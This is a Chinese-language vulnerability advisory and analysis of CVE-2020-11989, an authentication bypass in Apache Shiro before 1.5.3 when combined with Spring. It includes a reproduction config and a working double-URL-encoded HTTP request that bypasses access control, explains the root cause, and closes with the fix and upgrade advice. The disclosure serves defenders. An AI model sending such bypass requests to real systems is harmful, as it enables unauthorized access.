Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989)
Apache Shiro是一个强大且易用的Java安全框架,它可以用来执行身份验证、授权、密码和会话管理。目前常见集成于各种应用中进行身份验证,授权等。
漏洞详情
腾讯安全玄武实验室研究员发现在Apache Shiro 1.5.3之前的版本,将Apache Shiro与Spring控制器一起使用时,特制请求可能会导致身份验证绕过。
漏洞发现者
该漏洞由腾讯安全玄武实验室的Ruilin发现并报告,此外来自边界无限的淚笑也独立向官方报告了此漏洞点。
风险等级
高风险
漏洞风险
身份验证绕过等
影响版本
Apache Shiro 1.5.3之前的版本
漏洞细节
漏洞位置主要出现在org.apache.shiro.web.util.WebUtils#getPathWithinApplication
中调用的getRequestUri
方法。
该漏洞可以用以下方法复现,首先编写如下配置代码。
@Configuration
public class ShiroConfig {
@Bean
MyRealm myRealm() {
return new MyRealm();
}
@Bean
SecurityManager securityManager() {
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm(myRealm());
return manager;
}
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/index");
bean.setUnauthorizedUrl("/unauthorizedurl");
Map<String, String> map = new LinkedHashMap<>();
map.put("/hello/*", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}
这里配置了
map.put("/hello/*", "authc");
同时可以去编写对应的controller
@GetMapping("/hello/{name}")
public String hello(@PathVariable String name) {
return "hello";
}
以上操作代表着我通过ant风格的语法设置了去检查在访问/hello
路由之后的一级目录的用户是否有权限。
如果请求/hello/aaa
那么将会被禁止。
但是这里我们可以通过url双编码的方式来绕过。
/ -> %2f ->%25%32%66
GET /hello/a%25%32%66a HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
成功绕过身份验证。
当然这个场景下需要一些限制条件,首先权限ant风格的配置需要是*
而不是**
,同时controller需要接收的request参数(@PathVariable)的类型需要是String,否则将会出错。
我们可以来具体分析一下过程:
当请求进入应用后会进行第一次的url解码。
%25%32%66 -> %2f
接着当进入到shiro的org.apache.shiro.web.util.WebUtils#getPathWithinApplication
采用的是getRequestUri
方法同时里面会调用到decodeAndCleanUriString
-> decodeRequestString
进行再一次的解码。
也就造成了
%2f -> /
可以看到这里就造成了和Spring的uri处理不一致的问题,也就导致了接下来的问题。
当进入到org.apache.shiro.util.AntPathMatcher#doMatch
去匹配是否符合我们之前定义的权限路由/hello/*
这套流程判断后发现pattIdxStart > pattIdxEnd
,也可以通过观察当前变量来理解,如下
这里可以看到path成了/hello/a/a
有两个/
,所以根据上图所示代码跳过了这次的判断,导致了身份验证绕过。
总结一下,当进入应用后我们的请求页面被解析成/hello/a%2fa
,所以它可以进入到spring controller中的/hello/{name}
,但是因为shiro再次做了url解码,导致判断的uri成为了/hello/a/a
它不属于我们配置的权限判断地址/hello/*
。
此绕过核心原理可以归因为shiro与spring对RFC标准实现的差异。
此外,getRequestUri
在标准化中使用;
截断造成的利用场景可以参考分析文章。
官方修复
采用了标准的getServletPath(request) + getPathInfo(request)
同时不再进行url解码。
漏洞时间线
- 2020-5-27 腾讯安全玄武实验室研究员向Apache Shiro官方报告此漏洞位置
- 2020-6-16 Apache Shiro官方开始处理此漏洞
- 2020-6-22 Apache Shiro官方发布漏洞公告与致谢信息
安全建议
修复方案
升级至Apache Shiro 1.5.3 或更高版本。